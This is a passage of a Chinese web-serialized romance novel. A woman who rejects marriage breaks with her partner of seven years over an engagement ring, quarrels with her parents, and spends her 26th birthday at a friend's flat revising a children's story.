七年,过往整整七年,何漆从未有一刻怀疑过陈津会对自己的不婚主义做丝毫的动摇。 她与家庭鲜血淋漓地拉锯着切割着,无论姿态有多狼狈多难堪,陈津都像是颗磐石般在她身旁,不会动摇地支持她,给她依靠,以至于何漆全身心信任地与他过了七年。 她曾信任他远远胜过家庭,在某些方面甚至胜过自己。 而现在,在这个完全密闭狭小死寂的空间,这无坚不摧的一切无声又轰然地倒塌了。 何漆很想知道她是不是犯了什么大错,以至于把陈津逼到了自己的对立面,她有察觉这段关系似乎进入了疲惫期,她尝试去触碰病灶,却显得使不上劲,于是 习惯性地逃避,以她仅有的经验来说,装没事是可以维持起码的和平的。 得过且过,这甚至是陈津教会她的,很有效,所以她一直奉为圭臬。 那么到底是哪里出错了?告诉她,她什么都愿意去改! 但当那副对戒出现在眼前时,她想改正也迟了,搭建起这段关系的基础已经不复存在了。 她觉得措手不及,但也接受了,她相信自己的基因里也许就是有这种诅咒,她不会拥有太长久的爱情上的好运。 何漆甩开陈津的手,抬手抹泪,然而根本擦不干,因为她的手上也全是湿的,眼角还不断有孱弱的泪流下来。 “陈津,你成功了。”她强行稳着声调说,“我也谢谢你,没有在明天把这东西送给我,谢谢你至少没有让我对自己的生日有一辈子的阴影。” 话落,她绝望地转身摔门离开。 同时,陈津也下了车,他步子很大,跟在何漆身后不到半步的地方,好几次要去抓她的手。 何漆忍无可忍地狠狠挥着手转身,手背打在了他的颈侧,力道很大。 口袋里的手机突然震动一下,何漆感到手臂发麻,分不清究竟是因为什么。 而陈津一声不吭,只握住她的另一只手,语气哀求:“我们先回家,这件事不是……” “我现在不想看见你!”何漆喊叫着打断,却甩不开他的手,“你放开我!不然我就闹到你爸妈那儿去!” 陈津依旧握着她,力道没有松半点,甚至抓得更紧。 “放手!你信不信我去你公司耍疯?让你声败名裂!” 这是何漆第一次跟陈津耍无赖,不得章法,毫无成效。 她怒气堆积到了顶点,满含恨意地看着陈津,语气低沉:“在我冷静下来想跟你谈之前,别让我见到你,不然我们这辈子都不用再见了。” 话音刚落,手腕上的禁锢有所松动,她几乎是立刻抽手走人。 她走得很快,风迎面吹,她再次难以遏制地哭起来,这一次总算压抑地哭出了声。 道路旁车流不断,两侧的行人怪异地看着她,头发难受地黏着脸颊上,何漆忽然狂奔起来。 她竭尽全力地跑,路上的人都给她让道,风猛烈地灌进嘴里,间断性的令人窒息。 不知跑了多久,跑到何漆认为陈津一定不会跟上来时,她停下脚步,从口袋里拿出手机想要打车。 却因此看到了编辑洛洛发来的消息,是刚刚那次震动的来源。 「何女士,很抱歉通知您,您的作品《朱迪的新家》没有通过二审,再次感谢您的来稿!」 早不来晚不来,偏偏这个时候来。 何漆觉得老天在故意作弄她,看不得她这种人过得太顺,于是翻一翻手掌就把她的生活像积木般扇倒。 但她现在甚至没有想抱怨的动力,眼泪落到屏幕上,她攥着衣袖去擦干,强撑着给洛洛回复收到,然后果断打车去了车站。 从江市坐高铁到宁市,再从车站打车到家,深秋的夜里不断辗转,她感受不到半点归家的喜悦与安心。 网约车司机过分热情与健谈,她靠着车窗只做最简短的回答,那女人依旧乐在其中,只在最后小半程里察觉出端倪,突兀地沉默起来,问她需不需要纸巾。 何漆抽了两张,彻底把脸擦干,没有让司机开进小区,自己在冷风中走了一段。 熟悉又陌生的道路,她的心情到达了平静的极点。 何漆无比清楚这种平静是拙劣的伪装,是一场暴风雨过后,在下一场可以预见的暴风雨之前,这之间短暂而虚假的沉着。 是身体的保护机制,好让她不会在生日前夕冲动地一了百了。 她缓缓踏进熟悉的楼道,闻到空气中潮湿的灰尘味,脆弱的平静就开始破裂。 一阶阶走到三楼,家门前装的声控灯亮起,抬头就能看到大门上密密麻麻贴着的开锁小广告。 何漆盯着那些糟乱的东西,抬起手,猛烈地拍门。 她没有用指纹锁,刻意将门拍得震天响,确保整栋楼的人都能被她吵醒,来看这个天大的热闹。 拍门的间隙,她听到徐燕的脚步声,份量很轻,很急促。 那声音从卧室一路急匆匆地传出来,然后门开了,徐燕看到她露出无比惊讶的神情。 何漆抢在她之前开口,冷冰冰地质问:“你跟陈津说什么了?” 只一句话,泪又开始不争气地掉。 徐燕露出担忧心虚的神情,要来拉她进屋:“进来再说。” 何漆见她不辩解,无望地阖了阖眼,甩开手,把说话的音量放大:“这家我不会再进了,妈我告诉你,我这辈子就是不可能结婚!” 何云平脚步又沉又缓地走出来,刚好听见这一句,怒气冲冲地瞪她:“赶紧滚进来!非要让人看笑话吗?!” 对,她今天就是要让人看,她甚至可以想象,明天清晨,太阳刚升起,小区的公园里就会怎样窃窃私语起她家的热闹。 “我明明白白地告诉你们,就算把刀架在我脖子上,你们也逼不了我结婚!” “畜生!”何云平的脸霎时涨成猪肝色,高高挥起手,作势要打她。 徐燕立刻朝后扑过去,拦住何云平的身子,再扭过脸来,已是两行清泪。 她哭喊道:“漆漆!你到底要做什么!” 何漆站在门外,悲哀地看着这个女人,清楚地意识到自己身体里有她的一部分。 她看着徐燕挡在暴怒的男人前,痛苦地流着泪,就好像看到另一个自己。 这一幕令她情绪猝然崩溃,吼道:“是你们还要我怎样!要钱?多少我都会还给你们!去借去贷我都还给你们好不好?我求求你们别再管我了!” 何云平气得胸膛剧烈起伏着。 徐燕则痛哭着反往她这里扑过来,像是站不稳,双手拽住何漆的两只胳膊,拉扯着晃她,似乎要叫她清醒:“妈妈不要你的钱!妈妈就要你像个正常人一样生活!” 何漆记得这个动作,不久前,陈津在车里也是这么拉住她的。 但她当时甩得开陈津,现在却甩不开自己的母亲。 她任由身体像单薄苍白的纸片般遭受风吹雨打,低下头看着比自己矮小一些的徐燕,眼泪混着眼泪往下掉,哽咽得不成声:“我没有不正常,不正常的是你们。” 整个破旧的楼道里,何漆听到刻意放轻的脚步和窃窃私语的声音从四面八方传来,像是一群蚂蚁密密麻麻地聚集过来啃噬她的心脏。 她感到异样的、令人作呕的畅快,几乎无所顾忌地开口:“你们想好要我还多少钱就告诉我,之后我不会再回任何消息,你们就当我死了吧。” 说完,她趁徐燕愣神之际,以最决绝的态度抽身,飞奔下楼,然后狂奔出去。 耳边全是刀子似的风声,她怀疑徐燕会来追她,像好几年前,她刚跟家里闹僵,每一次争吵后的离开一样。 所以她一刻都不敢停,她绝不要让任何人追上自己。 一路跑出小区,跑进附近的一个公园,她找到一把长椅,累得瘫倒在上面。 她躺下来,小声地哭了很久,恍惚间好像回到了还在读大学的时候,发觉这些年竟没有半点长进,区别只是身边还有没有陈津。 半晌,她哭到情绪渐渐稳定下来,能够只流泪不出声,才把手机重新开机。 屏保出现后,整个界面卡顿了两秒,顷刻间涌入大量未接来电和未读消息。 她打开微信,位于顶端的是三分钟前还在给她发语音的徐燕,她眼不眨一下地将其左滑,点击“清空记录同时不显示聊天”。 往下是陈津,红点上标着数字8,最后一条是十多分钟前问她在哪,她同样没点进去就左滑。 再下一个是李家佳,何漆点进去看。 「你在哪?和陈津吵架了?他也不跟我说什么 情况。」 「回消息,不回报警了。」 看时间是一个多小时前,她跟陈津刚分开那会儿。 何漆也不知道她去报警没有,想了想,手指一顿一顿地打字。 「没事,我回宁市了,别跟陈津说,让他知道我安全就行。」 李家佳几乎秒回。 「身上有钱吗?我来找你?」 「有很多钱,别来了,我一个人静静,早点睡。」 「好好说话别炫富,那你住哪?你爸妈家?还是酒店?实在不行你去我家住。」 「知道了,有地方住。」 何漆回完,脸上挂着很淡很淡的笑,因为累到做不动表情,那疲惫的笑意只沾染一层在眼睛里。 她退出去,目光再往下,却看到方翊也给她发过一条消息,就在半个小时前。 那点笑意便瞬间凝结。 「姐姐你在哪?出什么事了吗?」 何漆不知道他是如何得到消息的。 到目前为止,明明只有陈津和李家佳两个人知情,李家佳没理由要主动告知或询问,毕竟在她看来,这件事完全跟方翊搭不上边。 那就是陈津,他没有方翊的联系方式,大概也只能托李家佳转告。 何漆搞不懂,他到底抱着什么样的心态想从方翊那儿知道自己的下落,他为什么会以为方翊能知道连他和李家佳都无从知晓的事情,就因为她和方翊今天见了面,又恰巧被他碰见吗。 何漆捧着手机,盯着屏幕发呆,思绪飘荡,脑海里却无法遏制地一次次回忆起从见到卡地亚礼袋开始的画面。 像做噩梦一样,她都不知道自己这几个小时是怎么过来的,情绪完全接管大脑,没有半点理智可言,几乎吊着一口恶气在做事。 而这口恶气到现在都还没有完全消散,发泄了大半的破坏欲又开始蠢蠢欲动。她骨子里依旧是从前那个犟丫头,这些年由着社会将她打磨了不少,她愿意以和为贵,但却不能把她逼急了。 得过且过是学的,以牙还牙是骨子里的。 谁来破坏她的,她就要去破坏谁的。 何云平要面子,她就把家里的丑事闹得风风雨雨,徐燕逼她“正常”,她大不了做个一辈子单身的“怪胎”,至于陈津…… 她其实还是想不清楚,他今天拿出戒指到底是要干什么,但她知道他绝对不要什么。 这件谁都痛恨的事情陈津几个小时前对她做了,叫作背叛。 鬼使神差地,她指尖紧绷着,一秒摁一个字母。 「我在宁市。」 发出去的第三秒,冷风在脸上一打,何漆整个人猛地清醒过来,她后怕到心脏猛烈跳动,慌慌张张地把消息撤回。 紧接着把手机熄屏,死死塞进口袋里。 她疯了。连何漆自己都这么觉得。 这个行为实在是过激,是一秒钟也不能细想的程度,她懊恼到想把方翊给删了。 不会看见的。何漆安慰自己,就那么几秒钟,这破手机微信还总延迟,谁成天没事盯着微信看……就算看见了,他不知道自己的位置,肯定也不会来。 何漆脑袋好疼,兴许是哭的,索性躺倒在长椅上,也不管脏不脏,腿脚和手臂都缩起来,下巴埋进衣领,闭上眼,就这么自暴自弃地睡了。 冷风刮得她全身轻抖,但睡着后就没任何感觉。 也不知过了多久,何漆感到有人在小心地推她的肩膀。 耳边逐渐清晰地传来呼唤。 “姐姐,醒醒。”—— 作者有话说:明天也是这个时间更新,感谢大家[三花猫头] 第16章 “姐姐。” 意识到叫醒自己的人是谁时,何漆终于知道了后悔两个字怎么写,她感到一种无法收场的烦躁,甚至不愿意睁开眼去面对。 方翊注意到她颤抖异常的睫毛,知道她已经醒过来,着急地关心:“姐姐你怎么睡在这里?实在太不安全了。” 何漆闻言缓慢睁开眼,不料隐形眼镜滑片,眨了好久的眼视野才逐渐清晰。 方翊正蹲在她的面前,替她挡住了寒凉的夜风,黑色冲锋衣的领口被吹得猎猎作响,他浑然不觉般微微拧着眉,直直地盯着何漆。 公园里的路灯年久失修,只散发出低沉落寞的黄光,将空气中的细小尘埃照出形状。 何漆觉得脸好疼,大概是眼泪流过没及时擦干的缘故,有些干燥起皮。 她睁开眼后什么话也没说,目光毫无着落点地放空着,方翊见她状态不好,说话声更轻了:“姐姐,先去车上吧,外面又冷又不安全……” 何漆觉得他好吵,脱口而出地打断:“你车上就很安全?” 方翊愣了两秒,反应过来她是什么意思后微微睁大了眼,却没有被误解和羞辱的恼怒,而是依旧蹲跪着,略显局促地往后退了半步,一时没再去看何漆的眼睛。 “姐姐你不放心的话,我们给家佳姐通话……” 宁市人没什么夜生活,这个点的户外已经万籁俱寂,方翊小心的话语在空气中无力地飘散开。 何漆心头一跳,闭了闭眼,不知道自己在干什么,从长椅上起身,坐着揉了揉太阳穴,懊悔道:“抱歉。” 果然,这是一个从一开始就错得离谱的想法。 她还想再说什么,然而方翊已经站了起来,刻意扭头避开了何漆的目光,看向不远处停着的车:“我们先过去吧。” 车子里打着适度的暖气,两人左右坐着,各自目视前方,不发一言。 自己把自己架到这种局面,何漆悔得肠子都青了。 方翊年纪比她小很多,何漆从前和他相处都像带一个弟弟、小孩,所以从不会觉得尴尬,总是有种作壁上观的自在,看着方翊会绞尽脑汁地想话题,沉默时尴尬,聊天时谨慎,融洽时窃喜,而自己无动于衷,过分安全。 但此刻,何漆被她自己亲手拉下了那种高高在上的大人心态。因为不过脑地对方翊说了不好的话。 不管出于什么动机,对方不辞辛苦地找到自己是事实,但她恩将仇报,用不堪的话语攻击了他。 理智恢复后便不可避免地感到愧疚、难安,何漆轻轻咬着口腔壁,尴尬得不知道说什么好。 最终是方翊先开口:“姐姐,储物箱里有湿巾,你开一包新的擦擦脸吧。” 何漆“嗯”了一声,拉开座位前方的箱子,尽量自然地问:“你怎么找到我的?” “看到你给我发的消息,我就过来了,但后来的消息你都没有回,我只能在你家附近找。” 何漆把湿巾对折一次贴到脸上,垂下眼:“抱歉,那条消息……是我发错人了,我撤回得很快,不知道你看到了,后来手机静音睡着了。” 方翊点点头看向窗外:“因为一直在等姐姐的消息所以正好看到了,是我太着急了。” 何漆细致地用湿巾擦脸,闻言动作停顿了一瞬,沉默片刻再次重复:“抱歉,刚刚的话你别放在心上,我当时脑子还没清醒,胡言乱语的。” 意指方才那句关于“安不安全”的探讨。 方翊又点头:“我知道,你心情不好。” 何漆没接话,方翊则兀自把脸又扭回来。 “你们,吵架了?” 他看着何漆,没说“你们”指的是谁,但两人都心知肚明。 “嗯。”何漆最后擦拭着下巴。 车内安静了一会儿,方翊又问:“分手了吗?” 何漆发现自己似乎很容易对方翊耐心告罄,一句话的功夫,刚刚的愧疚便又要淡化,她指尖垫着湿巾,在鼻梁和眼角之间按压,努力平静地回答:“我现在不想说这个。” 方翊只好换别的问:“那你晚上住哪里,在这儿住酒店还是回江市?” 何漆打开手机看了眼时间,十余条消 息和来电在下方折叠,她装作没看到。 快要十一点了,她也不知道该去哪,反问方翊:“你明天有课得赶回去吧?” “有早八。”方翊摸了摸颈侧,“今天路上不堵,开回去就两个小时,也不晚。” 何漆的愧疚心又回来一点,并且是一种罪大恶极的自责——耽误一个学生上学。 她不确定方翊这么晚了还要来回开车算不算疲劳驾驶,下意识想问会不会不安全,开口前却又硬生生止住了,“安全”这个词现在还有些敏感,她不想提。 方翊瞥见她欲言又止的神色,猜到她想问什么,主动答:“我平时也都凌晨才睡,不会犯困。” 不管怎么说,时间都是过一秒少一秒,方翊回宁市自然宜早不宜迟,他孤身来找自己,何漆也不放心让他一个人回去。 她把湿巾丢进车载垃圾桶,闷闷道:“那走吧。” 方翊立刻发动车子,何漆则从兜里拿出手机,想给自己找个今晚落脚的地儿。 她无视所有社交软件上的红点,利落地点进和李家佳的聊天框。 「你睡了吗,我今晚方不方便住你那儿?」 对面似乎在忙,隔了好一会儿才回。 「刚备完课,来呗,有什么不方便的,反正我家密码你也知道。」 「你从江市回来了?这个点不是没高铁了吗?打车?」 何漆抬头从后视镜里看了驾驶座上的男人一眼,不知道该怎么解释,但还是如实说明。 「不是,我坐方翊的车。」 随后,聊天框顶上的名字变为“对方正在输入中”,然后又变为名字,这么反反复复了好几个来回,界面里依旧没有出现新的消息。 何漆傻傻等着,也不主动发过去什么,直到李家佳最终将千言万语转化为了一个克制的问号。 何漆想了想,回复同样饱含千言万语的一个句号。 李家佳无话可说。 「算了,到了给我发消息,没睡的话我下来接你,没回消息你就轻手轻脚地非法入室,知道吗?」 何漆发了个点头的表情包,很乖巧的样子。 免费住所解决了,何漆又把手机熄屏倒扣,扭头看窗外夜景。 车内意外的安静,方翊竟没有开口搭话,何漆累了半天,方才也只睡了没两个小时,这会儿又困意上涌。 眼下正在行驶的车子让她觉得分外安心,一面不断逃离着让她遍体凌伤的来处,一面还离需要面对所有问题的去处遥遥无期,这种“在路上”的状态几近于完美,将她从现实中短暂摘离出来。 她在这种安心中犯着困,头一点一点,又不肯彻底睡去。 驾驶人员是否疲劳还成迷,陪驾人员有义务保持清醒作为二重保障……何漆迷迷糊糊地提醒自己。 方翊从后视镜里注意到她,明明好几次都要昏睡过去,却在最后关头强行睁开眼,没到两秒,又立刻闭上。 方翊目视前方,无奈地笑了笑:“姐姐你睡吧,我真的一点都不困。” 何漆原本又要进入新一轮的挣扎,乍然听到方翊的声音,以为他有什么重要的事要说,猛地清醒过来。 反应半晌才意识他刚刚说的那句话是什么,擦了擦嘴角,茫然地“哦”了一声,下意识掀开手机看时间。 十二点十三分,新的消息正在锁屏页面里不断跳出,何漆看到好几个最近很久没聊天但都熟悉的名字。 她蹙着眉头解锁,然后恍然大悟。 微信顶端是好几个朋友给她发的“生日快乐”祝福,其中几个还附带了红包转账。 过了十二点,就是她的二十六岁生日。 她一一点进去谢过,看到关系不错的朋友就把红包收了,默默记在心里,很久不聊的便暂且不收,只说感谢的话,毕竟她未必能记得对方的生日。 她朋友不太多,能在第一时间给她送来祝福的也就那么五六个,其中还有从前工作认识的人精似的合作伙伴。 何漆没一下就划到了头,然后看到陈津也发来过消息。 在她清空了聊天记录过后,他又发了五条消息,小界面上能显示的最后一条是十二点整,他打了两个字—— 「何漆。」 她的名字。 何漆静静地盯着,发现自己竟然能理解陈津是什么意思。 他大概是想对自己说“何漆,生日快乐”,但又因为昨日种种,知道自己没资格对她说这声祝福,所以只能发这两个字。 「何漆。」 她脑海里似乎出现了那个男人叫她名字时的声音,她甚至能细致入微地幻想出他的神态…… 对,就是这个男人,给了她这个荒诞悲哀的生日。 何漆关上手机,闭起眼,狠狠地吐了口气。 缓过三秒,再次睁眼,却恰巧在后视镜里与方翊对上视线。 方翊偷看被发现,短暂愣了一瞬,随后没什么负担地冲她弯眼一笑:“姐姐,生日快乐。” 何漆不想发出声音,也做不动任何表情,只能对他点了点头,然后扭头面向窗外,闭上眼假装入睡。 明明先前还困得不行,接下来却变得一路无眠,下了高速后何漆在导航里输入李家佳小区的地址,两人依旧无话。 “姐姐,到了。”方翊把车停在小区门口,开窗张望了一会儿,发现这儿似乎允许外来车辆进入,便重新坐回来,“家佳姐住几单元?我把车开进去吧。” “不用。”何漆拒绝,对着门禁处一个刚走出来的可疑身影眯了眯眼,指给方翊看,“那个好像就是李家佳。” 说完,她不等方翊确认,直接开了车门,跑着朝那人影扑过去。 风刮得脸生疼。 李家佳前一秒还大爷似的揣着手,身上穿著不伦不类,长款羽绒服配睡衣,大棉袜配洞洞鞋,下一秒就看见个黑影猝不及防地朝自己狂奔而来,手忙脚乱地将人接住。 骨头之间撞得生疼,李家佳一连“诶呦”了好几声,骂道:“何漆,你要死啊!” 这时方翊也已经下了车,走到两人视野内。 “那姐姐,我先回去了。” 何漆转过身,微微仰头看着他,除了感谢也说不出别的话来:“嗯,你早点回去休息,今天真的麻烦你了,路上小心。” 方翊应好,跟李家佳也点头致意,接着转身离开。 李家佳不是能藏事儿的性格,显然有八卦的心思,但也知道这会儿大概不是时候,敞开她的羽绒服要把人搂着:“走走走,赶紧上楼,冻死老娘了。” 何漆却没吭声,任由她拉着。 李家佳以为她心情不好不想说话,便把脸贴过去,却不料贴到一脸冰凉的湿意。 她心里一惊,忙借着路灯看何漆的脸,不知她什么时候又开始无声地滚滚落泪。 李家佳慌手慌脚一通,才发现身上没带纸,只能拉着她进单元楼,赶紧摁电梯。 风被阻隔在玻璃门外,电梯厅灯光如昼,何漆渐渐地小声哭出来,害得李家佳不得不面对面抱紧她,拍她的背:“到底怎么了这是?” 何漆尽力压抑着,奈何哭声还是越来越大,泪全部顺着脸颊滚进李家佳的衣领,最后在化作她耳边泣不成声的抽噎: “怎么办啊李家佳,小燕子为什么总是这么对我。”—— 作者有话说:明天不更,后天上夹,晚十一点前后更,感谢大家[摸头] 第17章 这个点小区里已经没什么人员走动,电梯里也只剩她们二人,何漆流起泪来无所顾忌。 她一直从电梯厢哭到李家佳次卧的卫生间里,哭完顶着俩核桃眼出来,摘了隐形眼镜视野不太清晰,但还是能看见床上躺着人。 李家佳以妖娆的睡姿侧躺着,十分昏庸地冲她勾勾手,掀开一半的被子进行邀请:“今晚咱俩一起睡。” 何漆没意见,有气无力地走到床边,踢了拖鞋,慢腾腾地躺下,把被子掖得严严实实。 李家佳见状关掉顶上的大灯,转而亮起床头的小台灯,半坐半躺,看着一旁紧闭双眼的何漆,问:“直接睡觉还是跟我说说? ” 何漆好半天都保持着躺尸样,在李家佳决定彻底关灯前勉强开了口:“陈津给我送了戒指。” “戒指?”李家佳一愣,狐疑又紧张地垂头,发现何漆仍旧闭着眼,“他不是知道你不婚?” “嗯。”何漆用气声回答。 难怪会闹成这样。 好半晌李家佳才完全接受这个消息带来的冲击,呢喃着骂了句:“他大爷的,这混蛋。” 然而骂完,她又觉得这其中会不会有什么误会。 “可陈津……”李家佳咬了咬指关节,不知道该怎么说,组织语言半天还是支支吾吾,她知道这时候绝不该为那种男人说话,可问题是对方是陈津。 “陈津实在不像是……毕竟整整七年他都……他也一次都没表露过半点要结婚的意思,对吧?” 不然他俩之间早该爆发这种大规模的争吵。 李家佳这会儿脑袋也有点乱,她跟陈津接触不算多但也有所了解,何漆几乎没有秀恩爱的举动,但从聊起的日常里也能看出陈津是什么样的人。 李家佳从前不相信这世界上会有完美的伴侣关系,直到她以为一辈子都会独身一人的何漆谈了恋爱。 这份所谓的完美和她想象中的出入极大,即便偶尔嘲讽他俩是“性冷淡夫妇”,但李家佳也不可否认,何漆和陈津的关系在她看来大概有百分之九十九的完美,没有争吵、互相包容、一心一意,平淡却认真地一起把日子过好。 这已经是令人不可思议的和谐了。 然而现在,那百分之一的不完美概率出现了。 出于对陈津人品和何漆眼光的考虑,她斟酌地问:“你和陈津聊过了吗,戒指其实也不一定是要结婚的意思吧?” 何漆转了个身,侧躺着面对李家佳,缓缓睁开眼,眼里空洞洞的没什么情绪:“不是结婚的意思也是试探的意思,不然你会给失聪的人送广播吗?我妈之前给他打过电话,他故意瞒着我。” 信息量太大,李家佳处理不好,把手指从嘴里抽出来,关节上已经有个明显的牙印。 她拍了拍何漆的肩,侧过上半身去关灯:“还是睡觉吧,再聊下去我怕我扛着你去喝酒。” 何漆很认同,再聊下去她绝对会失眠,转过身正躺好,随李家佳抱着她睡过去。 翌日,何漆睡醒时李家佳已经去上班了。 她眼睛肿得很滑稽,双眼皮宽得像是割坏了,轻抽着鼻子洗漱完,看到桌上李家佳留的一份炒年糕。 于是她坐到餐桌边,一边没什么胃口地对付着,一边看手机上的消息。 整个世界还有陈津和徐燕在孜孜不倦地寻找她。 何漆前几年确实很喜欢玩失踪的把戏,与家里大吵一架后再离开,看着徐燕得不到回应的消息和电话,幻想她在这种无助中如何忏悔,是否能够忽然大彻大悟。 现实的答案当然是一次又一次的否定,徐燕只会求神拜佛地期待她的大彻大悟,但何漆还是“乐此不疲”。 一来这种赌气行为能让她理直气壮地忽视徐燕,短暂喘口气;二来,她兴许也是用这方式确认徐燕起码是爱自己的,即便她让自己苦不堪言痛不欲生,但她还是爱她的。 而现在何漆不想那么做了,她觉得这于徐燕和自己而言毫无意义,她打开了与徐燕的聊天框,一条语音都没听,飞快地打字。 「我回江市了,还要工作,别给我打电话或者发消息,我不会回,更不用跟陈津联系,我和他已经没有关系了。」 对面迅速地回了几条很短的语音,不过何漆没勇气点开,她不知道那里面会是炸弹还是糖霜,但照经验而言,前者的几率更大。 似乎是等不到她的回复很着急,徐燕直接打了电话过来。 何漆二话不说就挂了,紧接着在聊天框继续打字。 「说了不要打电话,再打来就拉黑,也不要发消息。」 对面回。 「我怎么会生出你这种女儿!」 求仁得仁,何漆长出一口气,把徐燕的微信拉黑了。 世界安静下来,这次何漆没有多做不必要的幻想,低头小口吃着年糕,也没有去理会陈津。 她手机依旧开着静音,期间屏幕亮了一次,何漆只用余光瞟一眼,什么都没看清,还是埋头吃饭。 吃完后把塑料盒重新盖好,塑料袋打个结,扔进厨房的垃圾桶,再把桌子擦一遍,全部都收拾妥当,她才重新打开手机。 意料之外,这回竟然是编辑洛洛发来的消息。 「抱歉何女士,请问您还没有把这篇文章转投他刊吧?」 底下附着名为“《朱迪的新家》改稿”的一份文件和一长溜的文字。 「虽然文章没有通过二审,但我私心还是很喜欢您这篇文章,所以对一些地方做了细小的改动,个人认为结尾部分也有些生硬,需要何女士您进行重新构思扩充,我可以争取再内部递交一次审核。」 何漆沉寂了一整天的心忽然明媚起来,她低头盯着那条消息,从餐厅一路走到客厅,甚至用手掌在脸颊上搓了搓,确保这不是错觉。 心脏砰砰直跳,她降落在沙发上,摆放在一边的抱枕都小幅度地跳跃了一下。 何漆打开那份洛洛修改过的文稿,双腿在沙发上蜷起,把抱枕垫在膝盖上,一字一句认真看着,偶尔退出去和原稿进行比对。 洛洛在原文基础上做的改动不大,多数是对遣词造句的删改,但从这些细小的变化中,其文字功底和对儿童文学的理解也可见一斑了。 何漆顺畅地看到最后,确实感受到了结尾的草率,于是将文件保存好,给洛洛回信。 「好的,感谢您洛洛编辑!我会尽快做好修改!」 对方发来一个“ok”手势的表情包。 自己的电脑不在身边,李家佳的电脑也带去工作了,何漆不习惯在手机上写长串的文字,总觉得空间逼仄,不太舒服。 好在李家佳现在是个正儿八经教书的,在家里找到点纸笔还不算难事。 她从李家佳的书桌上拿了两张空白的A4草稿纸和黑笔,坐回客厅的沙发上,手机展示着文章放在一旁,边转笔边思索起来。 故事的结尾还是从朱迪搬进那个处处不合她心意的新家里说起,但这一回她没有放声大哭,而是照旧把情绪藏进了心里。 平淡的日子一天天过去,朱迪渐渐习惯了每天早上一睁眼就会看到自己并不喜欢的卧室,她没有说什么,只是除了睡觉时间,很少会待在那个粉红色的房间里。 她总是郁闷地出门,心情不好地闲逛,如果正好来到花园,就会看到母亲侍弄一院子香气浓郁的百合花的身影,她禁不住幻想,如果自己那天指向的是郁金香,起码这个花园里会不会有一半、有一半是她喜爱的花朵? 她不想进入花园,只好继续闲逛,来到前院时父亲又恰好在训练那只名贵的猎犬,聪明的小狗绕着父亲做各种指令,逗得父亲哈哈大笑,朱迪见状再次忍不住幻想,如果那天自己说出想要留下那只小土狗,她也会和它这样和谐相处吧? 朱迪越想越难过,失落到极点,甚至不愿意待在家里,一个人跑到了街上。 熙熙攘攘的行人中,朱迪看到木匠、花匠和宠物商,他们正不留余力地向路人推销自己的手艺和商品,从而获得了一袋又一袋金币,脸上带着过于浮夸的笑容。 那一刻,朱迪有无尽的疑惑浮上心头——为什么只有她没有感到幸福? 将故事一气呵成地梳理到这部分,何漆却突然卡住了。 朱迪最大的问题已经展现出来,何漆也明白这其中需要传播的道理,但她却一时想不出该用什么方式解决朱迪的疑惑。 在她看来这似乎进入了一个死局,朱迪作为这样一个过分善良从而陷入困境的女孩,难道要让她在街道上幡然醒悟,从此不再妥协尊重自我?有点难,所以需要一点外力推动吧? 何漆用水笔的尾端戳着脸颊,想了好半天才继续下笔。 或者添加一个长者 的角色吧?比如朱迪的祖母,让迷途中的羔羊求助提着盏明灯的隐士,这样会不会好一些? 何漆不太确定,总之先把故事的结尾简单构思完,然后将白纸上的笔记拍给了洛洛,虚心询问她的意见。 洛洛显然很忙,近半个小时后才回复,大意是觉得把引路人角色从祖母换作朱迪的父母更为合适,让父母的角色不过度扁平的同时也能体现沟通的重要,何漆觉得有道理便应下了。 她想得入神,再抬眼时发现已经临近饭点。 李家佳六点整下班,不堵车的话通勤应该半小时,何漆提前嘱咐她先别吃晚饭,又怕她真饿得慌,给她点了些面包到培训机构垫垫肚子。 随后自己搜寻着附近好吃餐厅的外卖,怎么说也是她二十六岁的生日,在家里一起吃点也不算白过。 李家佳进门时,何漆刚好在拆一家泰式料理的保温袋,她把里头的保温盒一一拿出来放在桌上,扭头问李家佳:“我忘记点酒了,你家里还有吗?” 李家佳站在玄关处,左右两手各拎着一个蛋糕,没立刻回答她的问题,甚至没换鞋,反而犹豫地看着她。 “怎么了?”何漆停下动作,同样奇怪地看过去,“买两个蛋糕干什么?” 李家佳拧起的两条细长眉毛里都透着股欲言又止,她一脸为难,三秒后才下定决心似的说:“陈津,陈津在楼下。” 一瞬间,何漆整个人都仿佛失色了—— 作者有话说:主堡回来了[三花猫头]之后就是晚九点更感谢小天使们的营养液~ 第18章 停滞了好一会儿,何漆才缓慢回神,低头继续摆弄餐盒,淡淡问:“另一个蛋糕是他拿来的?” “对。”李家佳边答边换鞋进来,把两个蛋糕放在桌上,又道,“他还说预约的餐厅没取消,我们两个可以去。” 何漆机械地拆着餐具,听到李家佳说的话,心绪荡了荡——提前预约的餐厅,特意早点下班,如果没有昨天那场闹剧…… 她强行打断自己的假设,发生了就无法改变,况且昨天的事儿又不是她先挑起的。 菜品和餐具都摆放好了,何漆一时手上没活,垂着眼又问:“他怎么知道我在你这儿的?” “他给我蛋糕的时候我也问他了,说是……”李家佳顿了顿,“说是去警察局了。” 何漆蹙眉看向她:“他又不算直系亲属,况且都没到二十四小时,警察能理他?” 李家佳摇了摇头同样表示不懂。 “算了,不管他。”何漆轻声说着,像是想摆脱什么,快步走进厨房,出来时手里拿着两副碗筷。 李家佳表情有些担忧地提醒:“何漆,已经有餐具了。” 何漆一愣,转身又回了厨房,随后传来冰箱打开的声音,好半晌,她问:“家佳,没酒了吗?” 李家佳正好到厨房洗手,凑过来,站在何漆身后,指着冰箱侧边的储物格:“这一排不都是吗?” 何漆仿佛被自己蠢到,一言不发地拿了两瓶,李家佳也沉默地看着她走回餐厅,把啤酒放在餐桌上,然后便一动不动地站着,从背影都能看出她明显晃神。 在心底轻叹一声,李家佳还是忍不住问:“你不下去看一眼吗?” 何漆依旧背对着她,摇了摇头,在餐桌前坐下了。 李家佳洗完手则径直走到阳台:“他要是没走的话,这边应该也能看到……何漆,他在抽烟欸。” 何漆夹菜的手一顿,远远看着李家佳转过头来好奇地问:“陈津还抽烟啊?” 她摇了摇头:“不知道,没见过。” 相处七年,同居两年,何漆不知道陈津抽烟,那么他就是不抽。 李家佳点头,见何漆没有要过来的意思,只好自己走回餐桌:“看来他心情确实蛮差的。” 何漆没搭话。 两人坐下来吃饭,谁都没再提及陈津,最后还颇有仪式感地唱生日歌吹蜡烛,一人切了一块小蛋糕。 酒足饭饱后时间已经不早,把桌面收拾干净,何漆打算下楼丢垃圾,李家佳又跑到阳台望风,惊呼一声:“我靠!陈津还没走!” 何漆疑惑地抬头望过去,对上李家佳惊讶的眼神。 “那……你还下去吗?”李家佳边问,边十分有觉悟地走过来。 何漆果断把垃圾一递。 李家佳接过:“你真不下去跟他谈谈?” “不去。” 